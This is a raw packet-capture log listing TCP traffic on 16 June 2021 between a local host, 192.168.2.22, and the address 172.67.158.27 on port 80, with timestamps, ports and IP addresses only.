Jun 16, 2021 12:05:58.099176884 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.099201918 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.099221945 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.099252939 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.100109100 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.100132942 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.100158930 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.101018906 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.101048946 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.101069927 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.101073980 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.101089954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.101350069 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.101941109 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.101967096 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.101996899 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.102863073 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.102881908 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.102910995 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.102911949 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.102931976 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.103029013 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.103790998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.103812933 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.103832006 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.104693890 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.104720116 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.104742050 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.104744911 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.104762077 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.104876041 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.105492115 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.105515003 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.105537891 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.105561972 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.106254101 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.106280088 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.106303930 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.106359005 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.106367111 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.107013941 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.107037067 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.107063055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.107075930 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.107767105 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.107795954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.107815027 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.107817888 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.108500957 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.108525991 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.108546019 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.108566999 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.109500885 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.109519958 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.109544992 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.109553099 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.109559059 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.109570026 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.110450983 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.110469103 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.110496998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.110522032 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.111398935 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.111421108 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.111459970 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.111470938 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.112057924 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.112082005 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.112106085 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.112126112 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.112972975 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.112993956 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.112998009 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.113022089 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.113043070 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.113085985 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.113091946 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.113627911 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.113648891 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.113672018 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.113692045 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.113713026 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.113733053 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.113744020 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.113751888 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.114471912 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.114497900 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.114518881 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.114538908 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.114573002 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.114579916 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.115312099 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.115334988 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.115356922 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.115377903 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.115398884 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.115418911 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.116070986 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.117181063 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.117603064 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.117629051 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.117645979 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.117909908 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.124082088 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.126127005 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.126149893 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.126180887 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.126204967 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.126230001 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.126254082 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.126307964 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.126507998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.126532078 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.126553059 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.126573086 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.126586914 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.126593113 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.126594067 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.126615047 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.126661062 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.126668930 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.127042055 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.127048016 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.127387047 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.127412081 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.127433062 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.127454042 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.127474070 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.127494097 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.127511024 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.127516031 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.128163099 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.128170967 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.128262997 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.128285885 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.128307104 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.128326893 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.128346920 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.128367901 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.128379107 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.128385067 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.128748894 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.128756046 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.129143000 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.129163980 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.129187107 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.129209995 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.129234076 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.129257917 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.129292965 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.129300117 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.129688025 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.129693985 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.130048990 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.130065918 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.130095005 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.130117893 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.130140066 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.130162001 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.130181074 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.130194902 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.130198002 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.130202055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.130222082 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.130249977 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.130254030 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.131022930 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.131047964 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.131069899 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.131083012 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.131087065 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.131091118 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.131112099 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.131145000 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.131165028 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.131185055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.131422043 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.131428003 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.131999016 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.132025003 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.132046938 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.132070065 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.132085085 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.132090092 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.132112026 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.132132053 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.132148981 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.132152081 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.132153988 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.132698059 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.132944107 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.132966995 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.132988930 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.133007050 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.133011103 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.133034945 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.133052111 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.133055925 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.133079052 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.133101940 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.133121967 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.133908987 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.133938074 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.133960962 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.133974075 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.133985996 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.133996010 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.134010077 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.134033918 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.134059906 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.134083986 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.134109974 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.134113073 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.134444952 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.134452105 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.134876013 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.134896994 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.134919882 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.134939909 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.134960890 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.134980917 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.135001898 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.135015011 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.135019064 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.135021925 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.135832071 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.135855913 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.135876894 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.135898113 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.135917902 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.135937929 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.135952950 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.135957956 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.135960102 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.135983944 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.136059046 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.136790037 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.136811018 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.136833906 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.136854887 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.136874914 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.136895895 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.136905909 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.136909008 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.136915922 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.136936903 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.136987925 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.136992931 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.137738943 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.137762070 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.137783051 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.137804031 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.137803078 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.137809038 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.137825012 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.137845039 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.137865067 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.137885094 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.138701916 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.138726950 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.138747931 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.138747931 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.138752937 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.138768911 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.138788939 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.138809919 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.138829947 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.138849974 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.138880014 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.138884068 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.139679909 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.139702082 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.139724970 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.139743090 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.139746904 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.139748096 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.139766932 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.139790058 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.139810085 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.139830112 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.140074968 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.140084028 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.140614986 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.140638113 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.140657902 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.140677929 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.140697956 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.140717983 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.140738010 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.140758038 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.140772104 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.140779018 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.142410040 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.142422915 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.142884016 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.142905951 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.142929077 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.142949104 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.142980099 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.142986059 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.143785000 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.143795967 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.145469904 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.145821095 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.166929960 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.166961908 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.166985989 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.167007923 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.167031050 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.167052031 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.167068005 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.167083979 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.167104959 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.167136908 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.167140007 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.168648958 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.168677092 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.168697119 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.168716908 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.168737888 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.168744087 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.168760061 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.168781042 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.169326067 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.169351101 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.169364929 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.169385910 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.169393063 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.183561087 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.183588028 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.183615923 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.183635950 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.183655977 CEST	80	49170	172.67.158.27	192.168.2.22
